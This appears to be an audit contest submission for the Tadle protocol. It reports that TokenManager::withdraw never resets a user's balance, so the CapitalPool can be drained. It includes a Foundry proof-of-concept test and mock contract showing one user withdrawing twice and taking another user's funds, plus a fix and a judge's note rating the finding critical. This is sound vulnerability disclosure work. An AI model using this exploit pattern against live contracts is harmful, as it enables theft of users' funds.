Submission Details
Severity:
Not updating the state variable in TokenManager::withdraw allows the user to drain the CapitalPool
Vulnerability Details
The TokenManager::withdraw function allows the user to withdraw tokens from the CapitalPool based on the amount saved in the state variable TokenManager::userTokenBalanceMap. However, when the user performs a withdrawal, this state variable is not updated, resulting in the user being able to drain the CapitalPool contract.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
=> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
...
}
Impact
A user can call the TokenManager::withdraw function multiple times to drain the CapitalPool contract
Proof of Code
Create a new file TokenManager.t.sol in the test folder
Add the following code to the TokenManager.t.sol file
// SPDX-License-Identifier: GPL-2.0-or-later
import {Test, console2} from "forge-std/Test.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {MockPreMarkets} from "./mocks/MockPreMarkets.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
contract TokenManagerTest is Test {
CapitalPool capitalPool;
TokenManager tokenManager;
MockPreMarkets preMarkets;
WETH9 weth9;
MockERC20Token mockUSDCToken;
uint256 constant USDC_AMOUNT = 100 * 10 ** 18;
address owner = address(this);
address user1 = address(1);
address user2 = address(2);
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =
bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
// Deploy mocks
TadleFactory tadleFactory = new TadleFactory(owner);
weth9 = new WETH9();
mockUSDCToken = new MockERC20Token();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
MockPreMarkets preMarketsLogic = new MockPreMarkets();
bytes memory deploy_data = abi.encodeWithSelector(
INITIALIZE_OWNERSHIP_SELECTOR,
owner
);
vm.startPrank(owner);
address preMarketsProxy = tadleFactory.deployUpgradeableProxy(
2,
address(preMarketsLogic),
bytes(deploy_data)
);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(
4,
address(capitalPoolLogic),
bytes(deploy_data)
);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(
5,
address(tokenManagerLogic),
bytes(deploy_data)
);
vm.stopPrank();
// Attach logic
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarkets = MockPreMarkets(preMarketsProxy);
// Initialize
vm.startPrank(owner);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
vm.stopPrank();
deal(address(mockUSDCToken), user1, USDC_AMOUNT);
deal(address(mockUSDCToken), user2, USDC_AMOUNT);
vm.warp(1719826275);
// Approve token
vm.prank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
capitalPool.approve(address(mockUSDCToken));
}
function test_withdrawAllUSDCFromPool() public {
address usdcAddress = address(mockUSDCToken);
TokenBalanceType balanceType = TokenBalanceType.MakerRefund;
vm.startPrank(user1);
preMarkets.tillIn(usdcAddress, USDC_AMOUNT);
preMarkets.addTokenBalance(usdcAddress, USDC_AMOUNT);
vm.stopPrank();
vm.startPrank(user2);
preMarkets.tillIn(usdcAddress, USDC_AMOUNT);
preMarkets.addTokenBalance(usdcAddress, USDC_AMOUNT);
vm.stopPrank();
// Check balance and state variables
assertEq(mockUSDCToken.balanceOf(user1), 0);
assertEq(mockUSDCToken.balanceOf(user2), 0);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), USDC_AMOUNT * 2);
assertEq(tokenManager.userTokenBalanceMap(user1, usdcAddress, balanceType), USDC_AMOUNT);
assertEq(tokenManager.userTokenBalanceMap(user2, usdcAddress, balanceType), USDC_AMOUNT);
// User1 withdraws all USDC from capital pool
vm.startPrank(user1);
tokenManager.withdraw(usdcAddress, balanceType);
tokenManager.withdraw(usdcAddress, balanceType);
vm.stopPrank();
assertEq(mockUSDCToken.balanceOf(user1), USDC_AMOUNT * 2);
assertEq(mockUSDCToken.balanceOf(user2), 0);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 0);
assertEq(tokenManager.userTokenBalanceMap(user1, usdcAddress, balanceType), USDC_AMOUNT);
assertEq(tokenManager.userTokenBalanceMap(user2, usdcAddress, balanceType), USDC_AMOUNT);
}
}
Next, create a new file MockPreMarkets.sol in the test\mocks folder
Add the following code to the MockPreMarkets.sol file
// SPDX-License-Identifier: GPL-2.0-or-later
import {PerMarketsStorage} from "../../src/storage/PerMarketsStorage.sol";
import {ITadleFactory} from "../../src/factory/ITadleFactory.sol";
import {ITokenManager, TokenBalanceType} from "../../src/interfaces/ITokenManager.sol";
import {IWrappedNativeToken} from "../../src/interfaces/IWrappedNativeToken.sol";
import {Rescuable} from "../../src/utils/Rescuable.sol";
import {Related} from "../../src/utils/Related.sol";
import {RelatedContractLibraries} from "../../src/libraries/RelatedContractLibraries.sol";
contract MockPreMarkets is PerMarketsStorage, Rescuable, Related {
using RelatedContractLibraries for ITadleFactory;
constructor() Rescuable() {}
function tillIn(address _tokenAddress, uint256 _amount) external payable {
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.tillIn{value: msg.value}(
_msgSender(),
_tokenAddress,
_amount,
false
);
}
function addTokenBalance(address _tokenAddress, uint256 _amount) external {
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
_tokenAddress,
_amount
);
}
}
Finally, run the command forge test --mp test/TokenManager.t.sol
Recommendations
To fix this, the TokenManager::withdraw function should update the userTokenBalanceMap mapping before making the external call to transfer tokens (Native & ERC20) to msg.sender (this also helps prevent a Reentrancy attack)
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
...
}
Updates
Lead Judging Commences
0xnevi about 1 year ago
Submission Judgement Published Assigned finding tags:
finding-TokenManager-withdraw-userTokenBalanceMap-not-reset
Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)
Prize pool breakdown
Total prize
27,750 USDC
nSLOC
1,22923
USDC / LOC
25,000 USDC
2,750 USDC
2,250 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.